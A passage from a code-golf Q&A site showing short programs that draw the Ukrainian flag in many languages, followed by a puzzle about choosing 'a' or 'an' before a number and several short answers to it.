in, and the bottom half lightly filled, overall showing a crude approximation of the Ukrainian flag](https://i.stack.imgur.com/XA1aT.jpg)](https://i.stack.imgur.com/XA1aT.jpg) [Answer] # [Red](http://www.red-lang.org), ~~59~~ ~~57~~ ~~54~~ ~~53~~ ~~51~~ 50 bytes ``` x: 99x33 view/tight[below h1 x#0057B7 h1 x#FFD700] ``` [![enter image description here](https://i.stack.imgur.com/MVgNE.gif)](https://i.stack.imgur.com/MVgNE.gif) -1 byte thanks to an anonymous user! -2 more bytes saved by an anonymous user! -1 again [Answer] # [R](https://www.r-project.org/), ~~72~~ ~~58~~ 55 bytes ``` barplot(rbind(1,1),3,co=c("gold","#0557b7"),bo=NA,as=1) ``` [Try it on rdrr.io!](https://rdrr.io/snippets/embed/?code=barplot(rbind(1%2C1)%2C3%2Cco%3Dc(%22gold%22%2C%22%230557b7%22)%2Cbo%3DNA%2Cas%3D1)) [Answer] ## SQL, ~~379~~ ~~346~~ 244 bytes This uses Microsoft T-SQL in SQL Management Studio's (SSMS) to generate spatial data. This code should work with Oracle's PL-SQL with few changes. Not sure about how it would work with others. **Updated** with changes to reduce byte count by t-clausen.dk and removed unnecessary spaces and line breaks, though it's not very readable anymore. ``` DECLARE @C INT=1,@ VARCHAR(MAX)='' WHILE @C<32 SELECT @+='|.0,0 .x'+iif(@C=14,'|26,0 x',''), @C+=1 SET @=REPLACE(REPLACE(REPLACE(@+'|-26,0 -26?', '|','SELECT CAST(''POLYGON((0 0,78 0,78 '),'x','26?UNION ALL '),'?',',0 0))''AS GEOMETRY)')EXEC(@) ``` **Update** using REPLACE to cut out redundant parts of the strings and removing some extra spaces after commas: ``` DECLARE @C INT = 1,@S VARCHAR(MAX) = '',@G VARCHAR(99)='|1 0,1 .1,0 .1,0 0))'' AS GEOMETRY) G UNION ALL ' WHILE @C<=31 --loop is just to cycle through the colors BEGIN SET @S+=@G --MERGE SELECT STATEMENTS OF UNVIEWABLE OBJECTS (TOO SMALL) FOR WRONG COLORS IF @C=14 SET @S+='|78 0,78 26,0 26,0 0))'' AS GEOMETRY) UNION ALL ' --ADD TOP OF FLAG IN BLUE SET @C+=1 --UPDATE COLOR COUNTER END SET @S+='|78 0,78 -26,0 -26,0 0))'' AS GEOMETRY)' SELECT @S = REPLACE(@S,'|','SELECT CAST(''POLYGON ((0 0,') EXEC (@S) --execute query ``` Original T\_SQL: ``` DECLARE @C INT = 1,@S VARCHAR(MAX) = '',@G VARCHAR(99)='SELECT CAST(''POLYGON ((0 0, 1 0, 1 .1, 0 .1, 0 0))'' AS GEOMETRY) G UNION ALL ' WHILE @C<=31 --loop is just to cycle through the colors BEGIN SET @S+=@G --MERGE SELECT STATEMENTS OF UNVIEWABLE OBJECTS (TOO SMALL) FOR WRONG COLORS IF @C=14 SET @S+='SELECT CAST(''POLYGON ((0 0, 78 0, 78 26, 0 26, 0 0))'' AS GEOMETRY) UNION ALL ' --ADD TOP OF FLAG IN BLUE SET @C+=1 --UPDATE COLOR COUNTER END SET @S+='SELECT CAST(''POLYGON ((0 0, 78 0, 78 -26, 0 -26, 0 0))'' AS GEOMETRY)' --ADD BOTTOM OF FLAG IN YELLOW(ish) EXEC (@S) --execute query ``` Unfortunately, the colors look a little faded. Apologies to Ukraine for the bad colors. There don't seem to be too many colors available and they are all faded tones. SQL Fiddle doesn't handle the spatial data. If there's another fiddle site that does, let me know or add a link. Or if there's a way to set the colors. [![enter image description here](https://i.stack.imgur.com/Ox31m.png)](https://i.stack.imgur.com/Ox31m.png) [Answer] # Python 3 + Pillow, ~~120~~ 100 bytes ``` from PIL.Image import*;i=new("RGB",(78,52));i.putdata([(0,87,183)]*2028+[(255,215,0)]*2028);i.show() ``` [Answer] # [QBasic](https://en.wikipedia.org/wiki/QBasic), 56 bytes ``` SCREEN 9 LINE(1,1)-(99,33),1,BF LINE(1,34)-(99,66),14,BF ``` Try it at [Archive.org](https://archive.org/details/msdos_qbasic_megapack). Draws a 99x66 flag on the screen: [![Ukrainian flag with "Press any key to continue" message](https://i.stack.imgur.com/nl158.png)](https://i.stack.imgur.com/nl158.png) [Answer] # HTML + CSS, 79 bytes ``` <p style=background:#0057B7><p><style>*{aspect-ratio:3;margin:0;background:gold} ``` The final `}` should be removed, but this doesn't work in a Stack Snippet. The HTML named colour `gold` is exactly the right colour for the yellow of the flag. I wonder whether this is a coincidence. [Answer] # ZSH, 93 characters This works in ZSH. I'm using Ubuntu, but ZSH on other systems should work fine. I have no hidden Unicode characters ``` a(){printf "`printf '.%.0s' {1..78}w`\n%.0s" {1..13}};printf '\033[44m';a;printf '\033[43m';a ``` ## Output [![Screenshot of output](https://i.stack.imgur.com/THjom.png)](https://i.stack.imgur.com/THjom.png) Note: for some reason, if you run it many times, it breaks, so I advise running `reset` between invocations of this. ## Explanation ``` # make a function named a a() { # generate a row of periods followed by a newline, and print that row 13 times. See https://stackoverflow.com/a/5349842/16886597 for exactly what that does. Basically, this function creates a 78x13 grid of dots, and prints them to the screen printf "`printf '.%.0s' {1..78}w`\n%.0s" {1..13} }; # set the color to blue printf '\033[44m'; # print the dots a; # set the color to yellow printf '\033[43m'; # print the dots a ``` Note that I also use [the shortcut](https://codegolf.stackexchange.com/a/25572/106950) for command substitution, saving one char. [Answer] # [Zsh](https://www.zsh.org/) `-F`, 38 bytes ``` eval ';<<<␛[4'{4,3}m\${(l:78+{a..m}:)} ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m724qjhjWbSSrptS7IKlpSVpuhY31VLLEnMU1K1tbGyko03Uq010jGtzY1SqNXKszC20qxP19HJrrTRrIaqhmhZAaQA) `␛` should be the literal ASCII escape character, but this doesn't display in StackExchange markdown. ## Demo [![Screenshot of terminal showing the code being run and a Ukrainian flag being printed](https://i.stack.imgur.com/kf4Se.png)](https://asciinema.org/a/RxvFluyzDnvji9Zq85HGzGaAl) [Answer] # [Unicorn](https://www.theedkins.co.uk/jo/games/unicorn/unicorn.htm), ~~14~~ 10 bytes ``` P3X4Y3C7P3 ``` [![canvas with flag between (4,4) and (6,3)](https://i.stack.imgur.com/yfUxU.png)](https://i.stack.imgur.com/yfUxU.png) Note: There isn't a closer blue; the alternative is cyan. [Answer] # [Desmos](https://desmos.com/calculator), ~~56~~ 54 bytes ``` C=rgb([0,255],[87,215],[183,0]) [2,0]<y<[4,2]\{0<x<6\} ``` [Try It On Desmos!](https://www.desmos.com/calculator/eb0fptvvyq) [Try It On Desmos! - Prettified](https://www.desmos.com/calculator/eymchoky7s) I noticed that when I converted the rgb values to hsv, I got that both had a common s value of `100.0`. It saves one byte compared to rgb, but I wasn't sure if the values I got were exact or if they were just rounded (especially the v value of 71.8 for the blue color), so I decided not to use hsv in case it was inaccurate. [Answer] ## Asymptote ~~88~~ 82 bytes (I update my shortest code here, including its history. Hope that it is legal!) Run on <http://asymptote.ualberta.ca/> ``` // Asymptote 82 bytes fill(box((0,0),(78,26)),rgb(0,87,183));fill(box((0,0),(78,-26)),rgb("#FFD700")); ``` --- ``` // Asymptote 88 bytes fill(box((0,0),(300,100)),rgb(0,87,183)); fill(box((0,0),(300,-100)),rgb(255,215,0)); ``` [![enter image description here](https://i.stack.imgur.com/hKLUH.png)](https://i.stack.imgur.com/hKLUH.png) --- In this world of civilization, it's hard to believe that there have been an invasion war from Russia. Stand with Ukraine! [![enter image description here](https://i.stack.imgur.com/yP61e.png)](https://i.stack.imgur.com/yP61e.png) [![enter image description here](https://i.stack.imgur.com/YfRcl.png)](https://i.stack.imgur.com/YfRcl.png) Appendix **TikZ 125 bytes** (by @Joe85AC) ``` \documentclass[tikz]{standalone}\begin{document}\tikz{\def~#1;{\color[HTML]{#1}\fill rectangle(3,}~0057b7;);~ffd700;-1)}\stop ``` **TikZ 187 bytes** ``` \documentclass[tikz]{standalone}\begin{document}\tikz{\definecolor{b}{RGB}{0,87,183}\definecolor{r}{RGB}{255,215,0}\fill[b](0,0)rectangle(3,1);\fill[r](0,0)rectangle(3,-1);}\end{document} ``` **TikZ 297 bytes** ``` \documentclass[tikz,border=5mm]{standalone} \begin{document} \begin{tikzpicture} \definecolor{Ukraine blue}{RGB}{0,87,183} \definecolor{Ukraine yellow}{RGB}{255,215,0} \fill[Ukraine blue] (0,0) rectangle (3,1); \fill[Ukraine yellow] (0,0) rectangle (3,-1); \end{tikzpicture} \end{document} ``` [Answer] # [Rust](https://www.rust-lang.org/), ~~107~~ ~~106~~ ~~92~~ ~~86~~ 85 bytes *NOTE: you can't actually copy the escape characters from the code below for some reason. Be sure to click the try it online link if you want to test the code; ***don't copy it from the answer!*** The odd thing is, the escape characters could be copied in the *edit preview*, but not in the actual *answer*. I've asked a [question on Meta](https://meta.stackexchange.com/q/377341/1156839) about it.* ``` fn main(){print!("[38;2;0;87;183m{}[38;5;220m{0}",("X".repeat(78)+" ").repeat(13))} ``` If you want one more byte, you can use `█` instead of `X`. [Try it online!](https://tio.run/##KyotLvn/Py1PITcxM09Ds7qgKDOvRFFDSTra2MLayNrA2sLc2tDCOLe6Fixiam1kZJBbbVCrpKOhFKGkV5RakJpYomFuoamtxKWkCeMbGmtq1v7/DwA "Rust – Try It Online") **To 106 bytes:** Removed the first `r,` and added a `0` in the second pair of braces `{}`. **To 92 bytes:** Thanks to [Toothbrush's](https://codegolf.stackexchange.com/users/15022/toothbrush) help, I was able to reduce the code even more by removing the `let` statement, rearranging the formatting, and changing the gold color to 220. **To 86 bytes:** Credit to [Aiden4](https://codegolf.stackexchange.com/users/97691/aiden4), I reduced the code to 86 bytes by using literal escape characters. I know you can't see them in the code, but you *can* see them [online (86-byte version)](https://tio.run/##KyotLvn/Py1PITcxM09Ds7qgKDOvRFFDSTra2MLayNrA2sLc2tDCOLe6Fixiam1kZJBbbVCrpKOhFKGkV5RakJpYomFuoamtFJOnpAkTMDTW1Kz9/x8A). **To 85 bytes:** Removed the `\n` and just used an actual newline in the code. [Answer] # HTML4, ~~98~~ ~~95~~ 85 bytes ``` <table width=78 height=52 cellspacing=0><tr><td bgcolor=#0057B7><tr><td bgcolor=gold> ``` Edit: Saved 3 bytes by using @pxeger's observation that `gold` is `#FFD700`. Saved 10 bytes thanks to @IsmaelMiguel. Note that the sizes here work in Firefox but other browsers may have other default table styles which alter the resulting size. [Answer] # Python 3 + `pygame`, 124 117 bytes There's already two other python solutions to this problem, but I might as well add a third. ``` from pygame import* d,r=display,draw.rect s=d.set_mode() r(s,"#0557b7",(0,0,78,26)) r(s,"gold",(0,26,78,26)) d.flip() ``` There might be something I could golf by being smarter with sizes, but this seems pretty close to optimal. By pure luck, `"gold"` happens to be exactly equal to `#ffd700` in pygame's color library, scraping off 3 bytes. Edit -7 bytes: Hold on a sec apparently you don't actually need to do `pygame.init()`??? I strongly suspect this is undefined behavior, but it works even running from the command line, so who am I to argue. Output: [![A mostly black screen with a small Ukrainian flag displaying in the top left corner](https://i.stack.imgur.com/UiW4E.png)](https://i.stack.imgur.com/UiW4E.png) [Answer] # Java, 169 bytes ``` import java.awt.*;v->new Frame(){public void paint(Graphics g){for(int i=0;i<2;g.fillRect(0,i*30-i/2*4,78,26))g.setColor(new Color(i*255,i*128+87,++i%2*183));}{show();}} ``` **Output:** [![enter image description here](https://i.stack.imgur.com/6GK5Y.png)](https://i.stack.imgur.com/6GK5Y.png) **Explanation:** ``` import java.awt.*; // Required import for Frame/Graphics/Color v-> // Method with empty unused parameter and Frame return new Frame(){ // Create a Frame (window for graphical output) public void paint(Graphics g){ // Overwrite its default paint method: for(int i=0;i<2 // Loop `i` in the range [0,2): ; // After every iteration: g.fillRect( // Draw the rectangle 0,i*30-i/2*4,// at x,y position 0,30i-i//2*4 (i=1→30; i=2→56), // where the +30 is to account for the title-bar 78,26)) // of 78 pixels wide and 26 pixels high // (so the flag is the minimum required 78x52) g.setColor(new Color(i*255,i*128+87,++i%2*183));} // Change the RGB-color based on `i`: // i=0 (blue): 0, 87,183 // i=1 (yellow): 255,215, 0 // (and increase `i` by 1 with `++i`) { // And in an inner initializer block: show();}} // Show the frame ``` [Answer] # Perl (51 characters) The following piece of code writes the file as a PNM picture ``` say"P6 78 52 255 ","\0W\xb7"x2028,"\xff\xd7\0"x2028 ``` [Answer] # [D Language](https://dlang.org/), 122 bytes ## Code ``` import std.stdio; void main(){ char[78]l='.'; foreach(c;["\033[44m","\033[43m"])foreach(x;0..13)writeln(c,l,"\033[0m"); } ``` ## Output [![program execution results](https://i.stack.imgur.com/AHIM3.png)](https://i.stack.imgur.com/AHIM3.png) [Answer] # WebP, 42 bytes ``` UklGRiIAAABXRUJQVlA4TBUAAAAvTcAMABCQJEPb3TRh/me3/5nUH/UA ``` Encoded in Base64 RFC4648 [Answer] # [`dc`](https://en.wikipedia.org/wiki/Dc_(computer_program) "Wikipedia"), ~~73~~ ~~71~~ 68 bytes ``` 0d34[27P91PnA9P]dsax[33lax]sc[APd-r1+r]sn[35Pr1+d77<nrdD=cd26>u]dsux ``` ### Output: [![Output](https://i.stack.imgur.com/153fO.png)](https://i.stack.imgur.com/153fO.png) Outputs a 78x26 grid of coloured '#' characters to stdout. This is a 3:2 aspect ratio assuming that the font's aspect ratio is 1:2. ### Edits: -2 bytes: use integers rather than strings for the newline and # character -3 bytes: it turns out that dc will treat 'A' as 10 and 'D' as 13, even with the input radix set to 10. It also treats 'A9' as 109 (i.e. 'm') for some reason (looks like it treats each digit separately?) [Answer] # [Racket](https://racket-lang.org/), 94 bytes ``` (require 2htdp/image)(define(f c)(rectangle 78 26"solid"c))(above(f(color 0 87 183))(f"gold")) ``` [![enter image description here](https://i.stack.imgur.com/E7VmP.png)](https://i.stack.imgur.com/E7VmP.png) [Answer] # Python 3 + `tkinter`, ~~132~~ ~~128~~ 124 bytes There are several Python 3 answers already here, but none of them use `tkinter`, so I thought I'd add one that uses `tkinter.Canvas`: ``` from tkinter import* c=Canvas(Tk()) c.pack() d=c.create_rectangle d(5,5,83,31,f="#0057B7") d(5,31,83,57,f="gold") mainloop() ``` **To 128 bytes:** Thanks to the help of [pxeger](https://codegolf.stackexchange.com/users/97857/pxeger), using a wildcard import reduces the size by 4 bytes. **To 124 bytes:** Thanks to the help of [des54321](https://codegolf.stackexchange.com/users/111305/des54321), removing the space before the `*` and changing the `#FFD700` to `gold` reduced the code by another 4 bytes. Outputs a mostly empty screen with the flag in the corner: [![enter image description here](https://i.stack.imgur.com/KqEg6.png)](https://i.stack.imgur.com/KqEg6.png) [Answer] ## JavaScript (browser console), 94 bytes ``` j='height:4em;width:12em;display:block;background:',console.log('%c %c ',j+`#0057B7`,j+`gold`) ``` ## 96 bytes ``` console.log('%c %c ',`${j='height:4em;width:12em;display:block;background:'}#0057B7`,`${j}gold`) ``` This is shorter (85 bytes), but in a bit of a grey area? If you size the console perfectly, the output will be the correct dimensions: ``` console.log('%c %c ',`${j='display:block;height:6em;background:'}#0057B7`,`${j}gold`) ``` ## 97 characters ``` console.log('%c %c ',`${j='height:26px;width:78px;display:block;background:'}#0057B7`,`${j}gold`) ``` I think this works in most browsers these days? [![enter image description here](https://i.stack.imgur.com/Vcnwg.png)](https://i.stack.imgur.com/Vcnwg.png) (Incidentally, I note that the image in the question is not actually the colours described.) ]
[Question] [ Me thinks there aren't enough easy questions on here that beginners can attempt! The challenge: Given a random input string of 1's and 0's such as: ``` 10101110101010010100010001010110101001010 ``` Write the shortest code that outputs the bit-wise inverse like so: ``` 01010001010101101011101110101001010110101 ``` [Answer] # J, 5 bytes Assumes the input string is in variable `b`. ``` b='0' ``` This does not do what it would do in most languages... > > The J comparison operator is just `=` (`=:` and `=.` are global and local assignment, respectively). However, `=` doesn't work like the normal `==` operator: it compares item-by-item. Keep in mind that an array is formed like this: `0 2 3 2 3 1 2 3 4`. `2 = 0 2 3 2 3 1 2 3 4` gives `0 1 0 1 0 0 1 0 0` for example. This is similar for a string: `'a'='abcadcadda'` doesn't just return `0`, it returns `1 0 0 1 0 0 1 0 0 1` (This can be extrapolated to mean `0` with `*/`, which basically means `all`.) In this case however, this behavior is excelent, since we want a string of ones and zeros, or true's and false's. Since J's bools *are* `1` and `0`, this results in an array of `1`'s and `0`'s (They aren't strings, and every other character other than `1` would also result in `0` in this array.) This doesn't need printing: J automatically prints the result of an expression. I hope this was adequate explanation, if not, please ask for something that isn't yet clear in the comments. This answer also could've been `'0'&=` (or `=&'0'`), but I felt that `b='0'` was clearer. > > > [Answer] # [GolfScript](http://golfscript.com/golfscript/), 5 bytes ``` {1^}% ``` [Try it online.](http://golfscript.apphb.com/?c=IjEwMTAxMTEwMTAxMDEwMDEwMTAwMDEwMDAxMDEwMTEwMTAxMDAxMDEwInsxXn0lCg%3D%3D) ### How it works * GolfScript reads the entire input from STDIN and places it on the stack as a string. * `{}%` goes through all characters in the string and executes the code block for all of them. * `1^` computes the exclusive OR of the characters ASCII code with 1. “0” corresponds to the ASCII code 48, “1” to ASCII code 49. Since `48 ^ 1 = 49` and `49 ^ 1 = 48`, this turns 0's into 1's and 1's into 0's. * Once finished, GolfScript prints the modified string. [Answer] # CJam - 4 ``` q1f^ ``` This xor's every character with 1. Unlike the other CJam answer, I'm not assuming the input is already on the stack. Try it at [http://cjam.aditsu.net/](http://cjam.aditsu.net/#code=q1f%5E&input=10101110101010010100010001010110101001010) [Answer] # x86 machine code on DOS - ~~14~~ ~~13~~ 11 bytes Well, it did get shorter again! After writing [a solution for an unrelated challenge](https://codegolf.stackexchange.com/a/125841/9298), I noticed that the same trick could be applied even here. So here we go: ``` 00000000 b4 08 cd 21 35 01 0a 86 c2 eb f7 |...!5......| 0000000b ``` Commented assembly: ``` org 100h section .text start: mov ah,8 ; start with "read character with no echo" lop: ; this loop runs twice per character read; first with ah=8, ; so "read character with no echo", then with ah=2, so ; "write character"; the switch is performed by the xor below int 21h ; perform syscall ; ah is the syscall number; xor with 0x0a changes 8 to 2 and ; viceversa (so, switch read <=> write) ; al is the read character (when we did read); xor the low ; bit to change 0 to 1 and reverse xor ax,0x0a01 mov dl,al ; put the read (and inverted character) in dl, ; where syscall 2 looks for the character to print jmp lop ; loop ``` --- ### Previous solution - 13 bytes ~~I think it doesn't get much shorter than this.~~ Actually, it did! Thanks to @ninjalj for shaving off one more byte. ``` 00000000 b4 08 cd 21 34 01 92 b4 02 cd 21 eb f3 |...!4.....!..| 0000000d ``` This version features *advanced interactivity™* - after running it from the command line, it spits out the "inverted" characters as long as you write the input digits (which are not echoed); to exit, just do a Ctrl-C. Unlike the previous solution, this has some trouble running in DosBox - since DosBox [doesn't support Ctrl-C correctly](http://www.vogons.org/viewtopic.php?p=139489), you are forced to close the DosBox window if you want to exit. In a VM with DOS 6.0, instead, it runs as intended. NASM source: ``` org 100h section .text start: mov ah,8 int 21h xor al,1 xchg dx,ax mov ah,2 int 21h jmp start ``` ### Old solution - ~~27~~ ~~25~~ 22 bytes This accepted its input from the command line; runs smoothly as a .COM file in DosBox. ``` 00000000 bb 01 00 b4 02 8a 97 81 00 80 f2 01 cd 21 43 3a |.............!C:| 00000010 1e 80 00 7c f0 c3 |...|..| ``` NASM input: ``` org 100h section .text start: mov bx, 1 mov ah, 2 loop: mov dl, byte[bx+81h] xor dl, 1 int 21h inc bx cmp bl, byte[80h] jl loop exit: ret ``` [Answer] # Bash+coreutils, 8 bytes ``` tr 01 10 ``` Takes input from STDIN. --- Or # sed, 8 bytes ``` y/01/10/ ``` [Answer] # [CJam](http://sourceforge.net/p/cjam/wiki/Home/), 4 bytes ``` :~:! ``` Assumes the original string is already on the stack. Prints the modified string. [Try it online](http://cjam.aditsu.net/) by pasting the following **Code**: ``` "10101110101010010100010001010110101001010":~:! ``` ### How it works * `:~` evaluates each character of the string, i.e., it replaces the *character* 0 with the *integer* 0. * `:!` computes the logical NOT of each integer. This turns 0's into 1's and 1's into 0's. [Answer] # Brainfuck (70 71) ``` >,[>,]<[<]>[<+++++++[>-------<-]<+>>[++<]<[>]++++++++[>++++++<-]>.[-]>] ``` **Explanation:** ``` >,[>,] Read characters until there are none left. <[<] Return to start >[< Loop as long as there are characters to invert +++++++[>-------<-] Subtract 49 (ASCII value of 1) >[++<] If not 0, add 2 +++[<++++>-]<[>>++++<<-]>> Add 48 . Print [-] Set current cell to 0 >] Loop ``` [Answer] ## PHP - 19 bytes ``` <?=strtr($s,[1,0]); ``` Yea, not really original, I guess! [Answer] # [Pancake Stack](http://esolangs.org/wiki/Pancake_Stack), 532 bytes ``` Put this tasty pancake on top! [] Put this delicious pancake on top! [#] Put this pancake on top! How about a hotcake? If the pancake is tasty, go over to "#". Eat all of the pancakes! Put this supercalifragilisticexpialidociouseventhoughtheso pancake on top! Flip the pancakes on top! Take from the top pancakes! Flip the pancakes on top! Take from the top pancakes! Put this supercalifragilisticexpialidociouseventhoughthes pancake on top! Put the top pancakes together! Show me a pancake! If the pancake is tasty, go over to "". ``` It assumes the input is terminated by a null character. The strategy is as follows: * Take a character of input * Subtract the ascii value of `1` from it. * Subtract that from `0` (yielding a `1` if we had `0`, or a `0` if we had `1`) * Add the ascii value of `0` to it * Print the char. * Repeat [Answer] # C: 29 ``` i(char*s){*s^=*s?i(s+1),1:0;} ``` Try it online [here](http://codepad.org/vD4WkoWY). Thanks for pointing out the XOR trick, Dennis. [Answer] ## Python 2.7 – 34\* Oh how much this first one sucks. Pretty ugly, this one is. 63 chars. ``` print''.join([bin(~0)[3:] if x == '0' else bin(~1)[4:] for x in '']) ``` This one is a bit better but still not that fancy. 44 chars. ``` print''.join([str(int(not(int(x)))) for x in '']) ``` Since `int(x) and 1` returns `int(x)` if it's not 0 and otherwise False. The solution can be further reduced to 36 chars. ``` print''.join([str(1-int(x)) for x in '']) ``` Since `join()` takes a generator the brackets can be removed. 32 chars. ``` print''.join(str(1-int(x))for x in'') ``` And backticks can be used instead of `str()` ``` print''.join(`1-int(x)`for x in'') ``` *Reduced to 44 from 34 thanks to pointers from @TheRare* Finding one's complement is difficult in python since `bin(-int)` returns -0bxxx hence the above. [Answer] # Perl, 9 characters ``` 'y/10/01/' ``` The 9th character is the 'p' flag Usage: ``` $ echo '10101001' | perl -pe 'y/10/01/' ``` [Answer] # Javascript (*ES6*) 36 ``` alert(prompt().replace(/./g,x=>x^1)) ``` [Answer] # [Labyrinth](https://github.com/mbuettner/labyrinth/), 6 bytes (Labyrinth is newer than this challenge, so this answer doesn't compete - not that it's winning anyway...) ``` 1, .$@ ``` This code assumes that STDIN contains *only* the digits (in particular, no trailing newline). The instruction pointer (IP) starts in the top left corner going right. While there are digits to read it will cycle in a tight loop through the left-hand 2x2 block: `1` push a 1, `,` read a digit, `$` XOR it with 1 to toggle the last bit, `.` print the result. The IP takes this loop because the top of the stack is positive after the XOR, such that it will take a right-turn. When we hit EOF, `,` returns `-1` instead. Then the XOR will yield `-2` and with this negative value the IP takes a left-turn onto the `@` and the program ends. This solution should be optimal for Labyrinth: you need `,` and `.` for an I/O loop and `@` to terminate the program. You need at least two characters (here `1` and `$`) to toggle the last bit. And you need at least one newline for a loop which can be terminated. Unless... if we ignore STDERR, i.e. allow terminating with an error we can save the `@` and we also don't need any way to switch between two paths. We just keep reading and printing until we accidentally try to print a negative value (the `-2`). This allows for at least two 5-byte solutions: ``` 1, .$ ``` ``` ,_1$. ``` [Answer] # Ruby: 23 ``` p $<.read.tr("01","10") ``` [Answer] # Turing Machine Code, 32 bytes (1 state - 3 colors) Using the rule table syntax required by [this online TM simulator.](http://morphett.info/turing/turing.html) Borrowed from a post I made to my Googology Wiki user blog a few months back. ``` 0 0 1 r * 0 1 0 r * 0 _ _ * halt ``` You may also test this using [this java implementation.](http://pastebin.com/fQz6DBRU) [Answer] ## R, 27 characters ``` chartr("01","10",scan(,"")) ``` Usage: ``` > chartr("01","10",scan(,"")) 1: 10101110101010010100010001010110101001010 2: Read 1 item [1] "01010001010101101011101110101001010110101" ``` [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), 7 [bytes](https://codegolf.meta.stackexchange.com/a/9429/43319 "When can APL characters be counted as 1 byte each?")[SBCS](https://github.com/abrudz/SBCS ".dyalog files using a single byte character set") Full program. Prompts stdin. ``` ∊⍕¨~⍎¨⍞ ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKO9AEh0PeqdemhF3aPevkMrHvXOAwn/VwCDAi5DAyA0BJNACCGgGCSBEAUA "APL (Dyalog Unicode) – Try It Online") `⍞` prompt stdin `⍎¨` execute each character `~` logical NOT `⍕¨` format each character as text `∊` **ϵ**nlist (flatten) [Answer] # PHP > 5.4 -- 37 characters ``` foreach(str_split($s) as $v)echo 1^$v ``` `$s` is the input [`**Try it online**`](http://codepad.org/weOuxj1w) [Answer] # Python 2.x - 44 bytes ``` print''.join(`1-int(x)`for x in raw_input()) ``` Why make it complex, or use some cheaty variables? [Answer] # TI-BASIC, 7 bytes This is a function that takes a binary string (through `Ans`) as input and returns the output as an inverted (not reversed) string, as specified. For more help, you can read through list application by `not(` on the TI-BASIC wiki. I'm using the compiled version because it is smaller: ``` »*r>Õ¸r ``` In hex: ``` BB 2A 72 3E D5 B8 72 ``` **Explanation** `»*r` - Take function input as string and convert to list `>` - Pipe given list to the next operators `Õ¸r` - Return the inverse of the list [Answer] # Haskell, 22 bytes ``` map(\c->"10"!!read[c]) ``` I was surprised by the lack of Haskell solutions to this challenge, so here's one. It evaluates to a function that takes a string and returns its inverse. ### Explanation Nothing fancy here. ``` map(\c-> ) -- For each character c in the input string: [c] -- wrap c into a string, read -- convert to integer, "10"!! -- and index the string "10" with it. ``` [Answer] ## Befunge 93, 25 bytes ``` 0>~1+:#v_$>:#,_@ ^ -1< ``` Assuming empty stack and EOF both read -1. `0` pushes a \0 as a null terminator `>~1+:#v_` is an input loop, it reads ascii, adds 1, checks for EOF+1=0, `^ -1<` else subtracts 1 and leaves the pushed ascii value on the stack. `$>:#,_@` drops the extra copy of zero on top of the stack, then prints the binary string top to bottom If empty stack reads 0, save 2 bytes with ``` >~:1+#v_$>:#,_@ ^ -1< ``` A version around 15 bytes is possible using this same algorithm if EOF = 0, but I don't have such an implementation handy to test with. [Answer] # Javascript ES6, 26 chars ``` s=>s.replace(/\d/g,x=>x^1) ``` [Answer] # [Befunge-98 (PyFunge)](https://pythonhosted.org/PyFunge/), 7 bytes ``` 'a#@~-, ``` For every character, `c`, in the input, it prints the character with an ascii value of `94 - c`, where 94 is the value of ‘0’ +’1’, or ‘a’ [Try it online!](https://tio.run/##S0pNK81LT9W1tNAtqAQz//9XT1R2qNPV@f/f0MDAwNDAEEwBAA "Befunge-98 (PyFunge) – Try It Online") [Answer] # brainfuck, 24 bytes or 19 bytes ``` ,[>++[->++[<]>-]>-.>>>,] ``` [Try it online!](http://brainfuck.tryitonline.net/#code=LFs-KytbLT4rK1s8XT4tXT4tLj4-Pixd&input=MDEwMDEx) or ``` ,[+[<[-->>]<--]<.,] ``` (this one requires an interpreter which will noop on `<` if the data-index is 0) Both programs use 8-bit wrapping cells. The main part of the programs are the `>++[->++[<]>-]>-` and `+[<[-->>]<--]<` which do some rather convoluted things to flip the last bit of the number. I'm happy I managed to beat some more 'real' languages like C and Python, not something that happens every day with bf ;) [Answer] # brainfuck, 26 bytes ``` ,[[-[->++>]>[->>]<<<]>+.,] ``` This flips the last bit of each byte of input. (Assumes EOF -> 0, assumes nothing about cell size, doesn't go out of bounds to the left.) [Answer] ## Python3, 39 Methinks Python is not the best language for this. :) ``` for i in input():print(1-int(i),end='') ``` If you care about having a newline after the output, here's a 43-character alternative: ``` print(''.join("01"[i<"1"]for i in input())) ``` [Answer] ## J - 11 chars Boolean values in J are represented as the integers `0` and `1`, which of course are also valid indices into arrays (in this case, the 2-character array `'01'`) ``` '01'{~'0'&= ``` [Answer] # C#, 131 bytes A little late to the party, but here's mine. :) ``` using System;class R{static void Main(string[]a){foreach(var v in a[0].ToCharArray()){Console.Write(int.Parse(v.ToString())^1);}}} ``` ]
[Question] [ Duolingo, the language learning app, has a lot of things going for it, but there is one major issue that drives me crazy. It tells me how many days in a row I've used the app with a message like **You're on a 7 day streak!** Setting aside hyphenation and whether the number should be spelled out, this works fine for most numbers, but is indisputably wrong when it says **You're on a 8 day streak!** I'm not using it to learn English but this is still unfortunate behavior for a language app. You're going to help out the Duolingo team by writing a complete program or function that figures out whether a given number should be preceded by *a* or *an*. A number is preceded by *a* if its pronunciation in spoken English begins with a [consonant or semivowel sound](https://en.wiktionary.org/wiki/Wiktionary:IPA_pronunciation_key), and preceded by *an* if its pronunciation begins with a vowel sound. Thus the only numbers preceded by *an* are those whose pronunciation begins with *eight*, *eleven*, *eighteen*, or *eighty*. Presumably the Duolingo dev team left this bug in because they ran out of space for more source code in the app, so you need to make this code as short as possible in the hopes they can squeeze it in. Your code must take an integer from 0 to 2,147,483,647 and output `a` or `an`. A trailing newline is optional. For the purposes of this challenge, 1863 is read as *one thousand eight hundred and sixty-three*, not *eighteen hundred and sixty-three*. **Test cases:** ``` 0 → a 8 → an 11 → an 18 → an 84 → an 110 → a 843 → an 1111 → a 1863 → a 8192 → an 11000 → an 18000 → an 110000 → a 180000 → a 1141592 → a 1897932 → a 11234567 → an 18675309 → an ``` [Answer] ## Python 2, 60 bytes ``` lambda n:'a'+'n'[:`n`[0]=='8'or`n`[:2]in len(`n`)%3/2*'118'] ``` An anonymous function. Adds an `n` if either: * The first digit is 8 * The first two digits are 11 or 18, and the length is 2 modulo 3. [Answer] # Pyth, 23 bytes ``` <>n\8hz}hjsz^T3,hT18"an ``` This selects how many letters to slice off the end of `"an"` by checking whether the first letter is not an `8` and that the first digit of the number when considered in base 1000 is neither 11 nor 18. The resulting boolean is the number of characters to slice of the end. [Answer] # GNU Sed, 32 Score includes +1 for `-E` option to sed. ``` s/^8.*|^1[18](...)*$/an/ t ca : ``` [Try it 